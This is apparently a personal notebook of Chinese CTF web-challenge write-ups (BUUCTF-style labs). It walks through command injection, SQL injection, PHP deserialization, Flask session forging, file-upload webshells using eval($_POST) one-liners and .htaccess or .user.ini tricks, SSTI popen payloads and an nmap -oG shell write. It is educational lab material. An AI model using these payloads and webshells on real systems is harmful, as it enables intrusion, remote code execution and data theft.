[ACTF2020 新生赛]Include
2020.10.28
考点
php 伪协议
做题步骤
利用伪协议读
- 读 index.php
php://filter/read=convert.base64-encode/resource=index.php
利用终端
echo "strxxxx" | base64 -d
解密
- 读flag.php 的内容
php://filter/read=convert.base64-encode/resource=flag.php
得到flag
[GXYCTF2019]Ping Ping Ping
2020.10.28
考点
再同一行中可以用 ;
连接两个或多个命令。
%20、%09、$IFS$1、${IFS}、<>、< 还可以用{} 比如 {cat,flag} ,相当于空格
绕过 空格
内联命令
做题步骤
/?ip=1
发现返回了一个 ping/?ip=1;ls
发现执行了 ls 语句,并且有一个 index.php 和一个 flag.php 文件
/?ip=1;cat flag.php
发现不能打印
根据打印 说的 应该是过滤了 空格
更具空格绕过方法
尝试了 <> %20 %09 {cat,index.php} ${IFS} 发现都不行。只有
$IFS$1
能够实现 但是我们不能查看 flag.php/?ip=1;cat$IFS$1index.php
查看 index.php 文件内容
1 | |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ |
发现过滤了 <> {} 等所以不能使用来绕过 过滤空格
发现 bash 命令也被禁用了。
而且 不能存在带有 flag 等字样的输入
但是如果我们执行了 ls
会给我们打印出 flag.php 字符
我们可以利用内联的方法打印
?ip=1;cat$IFS$1反引号ls反引号
index.php 的内容被答应了 但是我们看不到 flag.php 的内容
可能是因为 下面代码执行后 覆盖了 我们可以用 requests python 来接受
1 | $a = shell_exec("ping -c 4 ".$ip); |
得到 flag
也可以利用其它方法来 构造
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
给 a 变量赋值从而构造 flag.php 字符串
[RoarCTF 2019]Easy Calc
2020.10.28
考点
代码执行
scandir
file_get_contents
利用 chr().chr() 链接字符
做题步骤
在index.php 文件发现点击计算存在一个 calc.php 文件,我们查看这个文件得到 calc.php 的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}发现题目存在一个 waf 我们的
calc.php? num=1
需要在 num的前面加一个 空格才能正常运行 calc.php 的代码。我们可以利用 chr 将 数字转为 字符 实现字符串的拼接.
首先查看根目录文件
calc.php? num=scandir(chr(47))
发现一个 f1agg
文件
我们要去查看这个文件的内容。
利用 file_get_contents 来得到文件内的内容。 然后利用 chr().chr() 链接成字符串
/f1agg
file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
形成
file_get_contents("/f1agg")
从而得到flag
[ACTF2020 新生赛]Exec
2020.10.28
考点
代码执行
做题步骤
发现 和 [GXYCTF2019]Ping Ping Ping
一样是一个Ping
尝试输入 ls
能够执行。
但是没有 flag 文件
我们 ls 查看 / 目录
有 flag 文件
我们尝试 cat /flag
得到flag
[极客大挑战 2019]PHP
2020.10.28
考点
反序列化
__wakeup 魔法函数绕过 需要将序列化的字符串的 类的 属性的 个数的值大于 (这个有php 版本限制)
Private 类型 需要在名字前后加 %00
做题步骤
- 网页提示有个 备份文件。 所以在网站地址后面加 /www.zip 下载网站源代码。
- 得到源码进行分析。里面有个 flag.php 但是发现是假的 flag
- 发现 index.php 的最后有一个反序列化
查看 class.php 里面有个地方可以打印 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}逻辑中 反序列化一个 类的时候 会因为 __wakeup 魔术 让username=’guest’ 但是可以绕过。
当 结束时。调用 __destruct 模式 如果我们的 username == ‘admin’ 就会打印flag 且 password 要等于 100 不然会 die() 从而不会打印 flag
实现一个 payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name("admin",100);
var_dump(serialize($a));- O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
# 修改 Name 类的兼职 2=>3 从而绕过 __wakeup()
- O:4:”Name”:3:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
# 因为是 private 类型 所以要添加 %00 实现绕过
- O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}
# private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度。
[极客大挑战 2019]Http
2020.10.28
考点
http协议
burpsuit 使用
做题步骤
查看网页源码
发现有一个 Secret.php
我们去访问
网页提示
It doesn't come from 'https://www.Sycsecret.com'
我们bp 抓包修改
Referer:https://www.Sycsecret.com
提示
修改包数据
User-Agent: Syclover
返回
然后修改包为 本地访问 得到flag
X-Forwarded-For:127.0.0.1
[HCTF 2018]admin
2020.10.29
考点
Flask web
flask 源码解析:sessionhttps://cizixs.com/2017/03/08/flask-insight-session/
- session 伪造
- Unicode 欺骗
做题步骤
测试功能发现admin 是多密码 账号 admin 密码 123
拿到题目测试所有功能。
我们创建一个账号。登录后发现在前端代码有提示
You are not admin
在修改密码的页面的 前端代码中发现一行其他注释
Github的一个连接 是一个 flask
<!-- https://github.com/woadsl1234/hctf_flask/ -->
我们去github下载源码
我们先去查看 index.html 的信息
只有我们的 session[‘name’] = ‘admin’ 才能显示答案。
1 | {% include('header.html') %} |
我要可以使用 session 伪造。
首先利用脚本解密
1 | #!/usr/bin/env python3 |
利用 python3 进行解密
利用 session 值
得到 对应的 信息
1 | {u'csrf_token': 'cfd71a02ba3421f88df8e10164dcdf85c2550672', u'_fresh': True, u'user_id': u'10', u'name': u'123', u'_id': '8d1c8fb4ecf178e93acc78fc4452dd8b72c48c81b581ae89a900d32bc4bd0af5dc0d4c8b6ef97af5940e61368519e9b157d9d836a0aa59107d91c97eacd393f3'} |
python session 伪造我们还需要一个 key
在 app/config.py
里面找到对应的代码
1 | import os |
得到 key 是 ckj123
利用 github 的工具进行伪造签名
https://github.com/noraj/flask-session-cookie-manager
注意在 python2 和 python3 生成的是不一样的 这里使用 Python3
伪造
1 | {u'csrf_token': 'cfd71a02ba3421f88df8e10164dcdf85c2550672', u'_fresh': True, u'user_id': u'10', u'name': u'admin', u'_id': '8d1c8fb4ecf178e93acc78fc4452dd8b72c48c81b581ae89a900d32bc4bd0af5dc0d4c8b6ef97af5940e61368519e9b157d9d836a0aa59107d91c97eacd393f3'} |
命令
1 | py3 flask_session_cookie_manager3.py encode -s 'ckj123' -t "{u'csrf_token': 'cfd71a02ba3421f88df8e10164dcdf85c2550672', u'_fresh': True, u'user_id': u'10', u'name': u'admin', u'_id': '8d1c8fb4ecf178e93acc78fc4452dd8b72c48c81b581ae89a900d32bc4bd0af5dc0d4c8b6ef97af5940e61368519e9b157d9d836a0aa59107d91c97eacd393f3'}" |
得到 签名
1 | .eJwljzuKA0EMBe_S8QRSfyVfZlDrw5rFY5ixI-O7b8Nmr4KCep-0x-nXT7q9zrdvab9buiUyVIpZXQMHORdRHRRaa8tmNEfWSko4G6E4sTCAlTy1TgOJZgpWlWb34LGYK3jH0qkhO09sw9iodAGRxggLUXm4qBUuUdKW9Dpjfz1__Vg9GjZQIE8pNWMQWZAjYK-mazbNrUEfeXmHPHwZYo_7sfB9-fn_CSF9_wCNDUS8.X5rYQQ.dYoPdp_sdYJdoFTL_4UTPE5Xccs |
修改
session 的值,服务器判断 session 后会发现 这个时候。我们的 session[‘name’] = ‘admin’ 从而会给我们显示出flag.
Unicode欺骗
在 app/routes.py
中
利用了 strlower() 对我们的 username 进行了一个 转换
1 | def strlower(username): |
这里调用的 nodeprep.prepare() 对 username 进行了一个转化。
发现这个 nodeprep.prepare() 在创建和修改密码的时候都调用到了。
且这个函数版本比较低
这个函数 调用的时候 会转为 小写但是。如果我们传入的 是 unicode
第一次调用会讲 unicode 转化为对应的字母的 ascii 码 再次调用会将起转变为小写
ᴬ
字符 第一次调用函数时会造成ᴬ->A
,第二次调用时会A->a
- 我们创建账号会调用一次,利用 change 修改密码的时候会调用一次。
- 创建
ᴀdmin
=>Admin
- 修改密码的时候
Admin
=>admin
从而实现修改 admin 的密码 - 重新登录得到 flag
[极客大挑战 2019]LoveSQL
2020.10.29
考点
Sql 注入
做题步骤
得到字段名
当爆破到 4的时候 发现报错了 说明只有 3个
1 | check.php?username=admin' order by 3%23&password=1 |
得到回显的位置
1 | check.php?username=1' union select 1,2,3%23&password=1 |
得到 database() 名字
1 | check.php?username=1' union select 1,database(),3%23&password=1 |
查找表明
1 | check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1 |
查找字段名
1 | check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1 |
继续查找 flag
1 | /check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1 |
[极客大挑战 2019]Knife
2020.10.29
考点
一句话木马接入
中国蚁剑使用
做题步骤
- 下载蚁剑 进行安装
- 链接一句话木马
在更目录找到 flag
[极客大挑战 2019]Upload
2020.10.30
考点
文件上传
文件名绕过
添加 GIF89a? 图片头
绕过 <? 利用 <scripte language='php'> </script>
做题步骤
- 我们首先上传一个 php 文件
提示不是一个 图片
- 我们将 php 一句话木马 后缀修改为 png 试试
发现还是不能成功上传。
遇事我们上传一个其他后缀名的文件试试
- Bp 抓包修改数据包内容
添加图片头 GIF89a?
发现上传后 他 判断了 文件中有 <? 所以我们要修改我们的一句话
- 过滤了 <?
利用 <script language="php">eval(@$_POST['jly'])</script>
便签绕过
- 上传成功 利用蚁剑链接
- 查看 根 目录下的 flag 文件
[ACTF2020 新生赛]BackupFile
2020.10.30
考点
文件备份
弱类型比较
做题步骤
- 发现 Index.php.bak
1 |
|
弱类型比较
如果 比较的两个变量 如果其中一个 为 整数。 会将另一个转化为 整数
所以我们这里的 key = 123 的时候。
$str 会被转化为 整数 => 123
这个时候 $key = $str 打印flag
[ACTF2020 新生赛]Upload
2020.10.30
考点
[极客大挑战 2019]Upload 一样
文件上传
文件名绕过 修改为 phtml
添加 GIF89a? 图片头
绕过 <? 利用 <scripte language='php'> </script>
做题步骤
上传一句话 文件 修改名字
上传成功
蚁剑链接
[SUCTF 2019]CheckIn
2020.10.30
考点
.user.ini user.ini后门 让文件包含 a.jpg 的内容
1 | GIF89a |
文件上传
文件不能包含 <?
黑名单: PHP重要
文件类型 | 扩展名 |
---|---|
HTML | html, htm, sthml, shtm |
PHP | php, php2, php3, php4, php5, phtml, pwml |
ASP | asp, aspx, ascx, ashx, asa, cer, cdx |
JSP | jsp, jspx, jspf |
其他 | xml, ini, htaccess, cgi, pl, js, exe, bat, swf |
做题步骤
安装上面的 [ACTF2020 新生赛]Upload 上传一句话木马
发现不能上传
发现都不能上传
所以利用 .user.ini
设置 从而让 网站的 index.php 包含另一个文件的代码
- 我们先写入一个
.user.ini
内容为 .user.ini
1 | GIF89a |
我们向服务器传入这个文件
上传的文件的地址是
uploads/556cf09f27d80bd5b6cffc1d3f08a264
这个文件夹
- 然后我们上传一个一句话 a.jpg 让里面的 php 文件开头包含 我们 a.jpg 的内容
1 | GIF89a |
然后修改后缀为 jpg 上传
- 这个时候 index.php 文件的 开头就包含了我们的 一句话木马,且可以呗解析。
- 蚁剑去链接
找到 flag
[极客大挑战 2019]BuyFlag
2020.10.30
考点
Php 代码审计 饶过
is_numeric()
strcmp()
做题步骤
观察每个功能
发现在 pay.php中 我们需要post 传入 money 和 password
1
2
3
4
5
6
7
8
9
10~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
所以我们传入 password = 404 money = 100000000
因为 password 里面 用到了 is_numeric()
函数 我们在 password=404%20 这样传入
传入 password=404%20&money=100000000
- 抓包看一看
修改 user=1
网页提示 用户正确 密码正确 但是有一个说 nember lenth is long 这里可能用到了 strcmp() 函数进行判断
我们可以利用 将 money 转化为 数组形式就能绕过 最后传入
password=404%20&money[]=100000000
得到 flag
[BJDCTF2020]Easy MD5
2020.10.30
考点
Md5($str,true) ==> ‘or’6xxxx ffifdyop
MD5 的 passby
数组绕过
弱类型比较
强等绕过
做题步骤
一个输入框 发现没有注入反应
抓包看看
有个 hit select * from 'admin' where password=md5($pass,true)
password 经过了 md5 加密 且 利用的是 md5($pass,true)
这里的 password 会成为 返回的原始 16 字符二进制格式.返回这样子的字符串。
我们要让 查找的 返回为 true。 可以利用 md5 加密后的值 为 'or'1xxx
这样 实现绕过。
查看 wp 后 发现 用到的是 ffifdyop
md5 机密后 会是 'or'6�]��!r,��b
‘or’6xxx 这样我们就能注入 实现万能密码
- 输入 ffifdyop 后发现网页跳转了
注释发现
这里是 弱类型比较 我们可以用 md5 后生成为 0e 开头的 数字绕过,也可以传入数组实现绕过
为了更方便我们用传入数组绕过。 ?a[]=1&b[]=2
跳转到新的页面
这里和上面是一样的
但是这里用到的 是 === 的强等于 所以这里,我们不能利用 Md5后 为 0e 来绕过。 我们只能利用传入数组绕过
param2[]=1& param1[]=2
[ZJCTF 2019]NiZhuanSiWei
2020.10.30
考点
伪协议
伪协议 绕过 file_get_contents
data 协议 php://filter/read=convert.base64-encode/resource= 读源码
反序列化
做题步骤
打开网页后
1 |
|
有3个点 我们首先要绕过
isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")
这里我们不能上传文件等。但是我们可以让这个 $text 为一个 伪协议。然后我们去传一个值。- 利用data协议
text=data://text/plain,welcome to the zjctf
- 利用 input协议
text=php://input
然后bp 抓包传入welcome to the zjctf
- 利用data协议
然后我们看到 一个 include 的文件。
我们可以继续利用伪协议去读文件。
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
得到 useless.php 的文件内容
1
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo
Base64 解密
1
2
3
4
5
6
7
8
9
10
11
12
13
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
发现这个是一个类,
这个类 存在一个 利用点。
里面有一个 file_get_contents 函数
file_get_contents($this->file);
如果 $this->file = ‘flag’ 这样我们就能得到得到flag 这里的 __tostring() 魔术这个利用点在 源目录下。我们会发现 password 会进行 反序列化 如果我们调用了这个这个反序列化 利用 Flag 类
因为在反序列化后 调用了 ehco 这个会调用到 Flag 类里面的 __tostring() 方法。所以我们只要序列化 让 这个类的 $this->file = ‘flag’
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Flag{ //flag.php
public $file = "flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag;
var_dump(serialize($a));
得到的结果为
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
传入password
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
我们需要 修改 file => useless.php 这样我们后面才能利用 反序列化 用到 Flag类
得到 flag
[CISCN2019 华北赛区 Day2 Web1]Hack World
2020.10.31
flag{} 里为 uuid。
考点
Sql 注入
通过异或实现时间盲注
参考 wp1
union,and被完全过滤掉了,就可以考虑使用异或注入
做题步骤
- 提示
All You Want Is In Table 'flag' and the column is 'flag'
应该是一个sql 注入 - 一个输入框 输入 1,2 正常回显。如果输入 其他数字 会返回错误。
- 当我们输入 union select 等字符串时 会直接返回
bool(false)
测试注入
1^(length('select')>0)^1=1
返回 1
根据 wp 知道 这个题目应该是利用了 通过异或进行 时间盲注 逐个爆破得到 flag
exp
1 | import requests |
还可以利用 二分法加快爆破。=。=
[极客大挑战 2019]HardSQL
2020.10.31
考点
Sql 注入
报错注入
做题步骤
题目 过滤了 union 等 且双写绕过也不能使用。
使用 报错注入 extractvalue
和 updatexml
进行报错注入
不能利用等号 可以利用 like
得到表明
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=admin'
得到列名
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=123
去爆破 Password
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=123
但是发现现实不完全。
我们利用 select(left(password,30)) select(right(password,30)) 来泄露不完全的 flag 进行拼接
?username=admin'or(updatexml(1,concat(0x7e,(select(left(password,32))from(H4rDsq1)),0x7e),1))%23&password=123
flag{271c7117-741c-4339-8271-38
?username=admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23&password=123
7-741c-4339-8271-38b7f3efcdd5}
拼接
flag{271c7117-741c-4339-8271-38b7f3efcdd5}
[网鼎杯 2020 青龙组]AreUSerialz
2020.11.1
考点
反序列化
伪协议
而protected权限的变量在序列化的时会有%00*%00字符 privated 利用 %00
对于 php7.1 以上 对属性类型不敏感可以直接修改 protected,privated 为 public 实现绕过不可显示字符串
做题步骤
题目代码
1 |
|
发现 我们传入的 值 ascii 要在 32 - 125 之间 也就是可显示字符
在代码中的反序列化中 发现, 类会调用
__destruct()
里面有一个 强等于$this->op === "2"
然后会调用
$this->process()
1
2
3
4
5
6
7
8
9
10public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}然后发现会根据我们的
$this->op
了来判断我们的选择。 但是这个 op 的选择用到的是 弱等于$this->op == "1"
这种所以我们知道 如果我们反序列后的
$this->op
为数字2 那么会在__destruct()
中不被 转化为 “1” 而是作为数字比较接着在 process 中因为是 弱比较 所以我们 的
$this->op == "2"
会比较返回 ture 然后直接 read 读取flag.php调用 Read() 函数中
1
2
3
4
5
6
7private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}我们发现 我们用到的 是
file_get_contents
所以我们这里有两种方法,是利用伪协议
"php://filter/read=convert.base64-encode/resource=flag.php"
。是直接 找到 flag 的绝对路径读取。
我们直接利用 伪协议读取
构造 op = 2 这样就能绕过 __destruct()
然后 实现调用 process 里面的 read() 然后file_get_contents 得到 flag
1 |
|
或者 我们直接读 flagp.php 这个时候得到的 flag 在前端代码注释中
1 |
|
[强网杯 2019]高明的黑客
2020.11.1
考点
代码编写
做题步骤
访问靶机 提示有个 备份文件
下载。然后发现代码很多 且很多都是 混淆过的
但是我们可以发现有很多
1 | echo `$_GET['xxx']`; |
本地搭环境 需要使用 php 7.1 以上 这样才不会有
Parse error: syntax error, unexpected '?' in
报错
实现脚本暴力去获取这个 php 文件里面的 eval system 等后门函数。获得他们需要传入的 参数。一次进行对应的 get 或者 post 传参。根据网页的 返回 判断,是否对应的 后门函数 是否能正常运行。
参考学习师傅 脚本 https://neorah.me/ctf/%E5%BC%BA%E7%BD%91%E6%9D%AF2019/#%E9%AB%98%E6%98%8E%E7%9A%84%E9%BB%91%E5%AE%A2
1 | import os,re |
- 利用多线程
- 得到对应的文件名字
- 得到对应的文件里面的 $_GET 方法中的 参数名 利用参数名测试
- 得到对应的文件里面的 $_POST 方法中的 参数名 利用参数名测试
- 返回对应文件中的 方法成立
最后我们发现 xk0SzyKwfzw.php?Efa5BVG=
这个是可以利用的后门函数
所以我们直接利用 后门函数 cat flag
xk0SzyKwfzw.php?Efa5BVG=cat /flag
[BJDCTF 2nd]fake google
2020.11.2
考点
ssti 魔板注入
做题步骤
测试发现能够实现 xss
输入 <script>alert1(1);</script>
发现网站出现弹窗
知识点
1 | __class__ 返回类型所属的对象 |
模板引擎
拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
注入
服务器将我们的数据经过引擎解析的时候,进行了执行,模板注入与sql注入成因有点相似,都是信任了用户的输入,将不可靠的用户输入不经过滤直接进行了执行,用户插入了恶意代码同样也会执行。
模板渲染
render_template()
方法来渲染模板。
渲染 index.html 传入 title 和 user
1 | render_template("index.html",title='Home',user=user) |
payload
1 | {{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}} |
利用
"".__class__.__bases__[0]
返回 <class ‘object’>在利用
"".__class__.__bases__[0].__subclasses__()[117]
返回 <class ‘object’> 这个类中的子类的集合,并取 其中的 第 117个类集合
"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__
利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。然后利用 其中的
'popen'
来找到对应的函数调用"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()
实现调用然后服务器是 flask ssti 注入 所以我们对于我们的 输入。我们要用两个 括起来
从而实现调用
得到 flag
[RoarCTF 2019]Easy Java
2020.11.2
考点
Java web 结构
源码泄露
WEB-INF/web.xml泄露
1 | WEB-INF主要包含一下文件或目录: |
做题步骤
网页一个登陆页面
然后有个help 点击后发现 是一个 Download 但是并没有下载文件。
利用 hackbar 修改 get 传参为 post 传参,发现下载了 文件
可以利用 post 传参实现 任意文件下载
因为是 java web 所以我们可以先去查看 WEB-INF/web.xml 文档的内容。
我们利用 对应的文件 任意下载
我们可以看看 能不能下载 WEB-INF/web.xml 文件
发现不能下载,我们尝试看看 bp 抓包会有没有拦截
利用 bp 抓包修改 filename 为
WEB-INF/web.xml
go 发现下载了文件发现利用的 servlet 创建的 服务 Flag 在
FlagController
中
- 直接访问 Flag 目录会报错
然后我们想直接利用这个 Download 的任意文件下载 直接去下载 com/wm/ctf/FlagController.class
看看能不能得到数据
因为是 Java web 结构所以对应的 class 应该在的 目录为 WEB-INF/classes/com/wm/ctf/FlagController.class
下载一个 class 文件 利用 jadx-gui 去反编译
ZmxhZ3s0YTU4YzY2MS00YzFiLTRlMTUtYjA5Zi1kZmNjZWRkYTk3Yzl9Cg==
base64 解密
得到 flag
[GYCTF2020]Blacklist
2020.11.2
考点
sql 注入
绕过不能使用 select 发现修改 大小写不能实现。
可以利用 报错 注入
堆叠注入
做题步骤
输入 1 ,2,3等都有回显
测试 输入
1' and 1#
能够回显 输入1' and 0 #
不能回显测试输入 select 出现一个报错
所以不能 输入 里面的字符串
尝试堆叠注入
查看 tables
1';show tables;#
然后去查看 FlagHere 的字段
1'; show columns from FlagHere;#
然后 我们看到了一个字段名叫做 flag
然后去查看 flag 的内容。
可以修改表的 名字
强网杯2019随便注
题目 wp 用 rename 修改 再修改 flag 原本的列名修改为 word 列名的 id (需要利用到 alter )这样就可以利用 直接输入 1 等 实现查询 新word表中的数据 (以前的 flag 内的内容)利用
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭https://www.cnblogs.com/taoyaostudy/p/13479367.html
1'; HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
打开 FlagHere 表 然后读取 FlagHere 的内容
[BUUCTF 2018]Online Tool
2020.11.2
考点
函数功能 escapeshellarg
escapeshellcmd
利用对应方法实现 单引号绕过
nmap 实现写文件 nmap 参数 -oG 可以实现写文件。
做题步骤
题目是一个代码审计绕过 最后利用 system 实现命令执行
1 |
|
传入的参数是:
172.17.0.2' -v -d a=1
经过
escapeshellarg
处理后变成了'172.17.0.2'\'' -v -d a=1'
,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。经过
escapeshellcmd
处理后变成'172.17.0.2'\\'' -v -d a=1\'
,这是因为escapeshellcmd
对\
以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php1
#&;`|?~<>^()[]{}$, x0A 和 xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。
最后执行的命令是
curl '172.17.0.2'\\'' -v -d a=1\'
,由于中间的\\
被解释为\
而不再是转义字符,所以后面的'
没有被转义,与再后面的'
配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1'
,即向172.17.0.2\
发起请求,POST 数据为a=1'
。
我们要 利用 escapeshellarg
escapeshellcmd
实现 单引号逃逸
这样我们才能实现命令调用
payload
1 | ' <?php @eval($_POST["jly"]);?> -oG jly.php ' |
经过 上面两个函数 操作后。 单引号可以被逃逸吊。
''\\'' \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php'\\'''
等于 <?php @eval($_POST["jly"]);?> -oG jly.php
这样我们只好的 system 才能调用
如果我们只是上传
1 | eval($_POST["jly"]); -oG jly.php @ |
没有单引号 经过两个函数后
' <?php @eval($_POST["jly"]);?> -oG jly.php '
成了这个的字符串 上传不会被作为命令调用
对于 nmap 我们可以利用 -oG 参数进行写文件。 保存一个文件。
告诉我们保存的 路径
蚁剑链接
得到 flag
1 | ' <?php @eval($_POST["jly"]);?> -oG jly.php ' |
这个 Payload 最后一个 单引号和 php 直接有个 空格。
为了防止 在 escapeshellcmd
转义后 讲 \\
链接到了 php 的后面成为了 .php\\
从而生成的不是 php 文件从而不能被执行
[MRCTF2020]你传你🐎呢
2020.11.3
考点
文件上传
.htaccess 文件上传
局部
做题步骤
- 上传php 文件不能。
- 上传 phtml 文件也不行
测试上传 .htaccess
发现上传成功
1
SetHandler application/x-httpd-php
修改类型为 image/jpeg
利用 .htaccess 可以让 Apache 解析其他文件类型的文件按照 php 来解析
上传成功 我们上传一个 一句话木马 后缀改为 .jpg
1
2GIF89a
<script language="php">eval($_POST['jly'])</script>发现上传成功,这个时候 我们的 相同目录下有一个 .htaccess 文件让我们上传了 一个 jly.jpg 的一句话木马,当Apache 解析到这个目录时 更具 .htaccess 从而服务器能够 解析 我们的 jly.jpg
利用蚁剑链接
根目录找到 flag
[MRCTF2020]Ez_bypass
2020.11.3
考点
md5 加密数组 返回0
弱类型比较
做题步骤
打卡靶机
查看 view-source:
1 |
|
看看代码
传入 一个 id 一个 gg
id的值不等于gg 且两个md5 加密后相等
所以我们只要传入的 id 和 gg 为数组就好
?id[]=1&gg[]=2
这是第一步
然后我们要传入一个 password
是一个弱类型比较
我们只需要 $password = 1234567ased 就可以绕过 is_numeric($passwd)
得到 flag
[GKCTF2020]cve版签到
2020.11.3
考点
hint: cve-2020-7066
https://bugs.php.net/bug.php?id=79329
PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。
测试脚本显示,这可能导致编写良好的脚本获取意外域的标头。这些标头可能泄漏敏感信息或意外包含攻击者控制的数据。
做题步骤
题目中点击链接可以看到 www.ctfhub.com 的http 头信息
根据 提示cve ‘get_headers()’ 应该是有这个函数 服务器会返回 www.ctfhub.com 的信息
而且网页提示
应该是我们只能访问 ctfhub.com 的子域 应该是检测 结束为 .ctfhub.com
我们可以利用 提示 cve 的漏洞
?url=http://www.baidu.com%00.ctfhub.com
测试发现能够访问 www.baidu.com
参考 wp 说要访问 127.0.0.1
https://blog.csdn.net/mochu7777777/article/details/106816521
不是很明白为什么要去 访问 127.0.0.1
?url=http://127.0.0.1%00.ctfhub.com
提示 末尾 要是 123
?url=http://127.0.0.123%00.ctfhub.com
得到 flag
[GXYCTF2019]禁止套娃
2020.11.4
考点
文件泄露
代码执行
无参数 代码执行
做题步骤
- 尝试目录扫描 发现什么都没找到
- 尝试 git 泄露 发现有一个 index.php
查看 index.php
发现不能用伪 协议 且过滤了 很多字符
不允许
()
中带参数,即只匹配无参数函数。- 对一些函数名进行过滤。
1 |
|
也就是 无参数的 RCE
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])
如果 函数带参数 就不能使用 就会被 置 NULL
因为 过滤了 et
所以 有 get 的都不能用
更具上面 php 无参数函数 RCE 我们可以利用 scandir
来遍历目录 构造函数scandir('.')
中的参数.
,这里有一个localeconv()
函数。 这样能够实现 目录便利。
利用
var_dump(scandir(pos(localeconv())));
来查看目录pos(localeconv())
返回 ‘.’ 这样就构成了 scandir(“.”)发现在当前目录下 有一个 flag.php
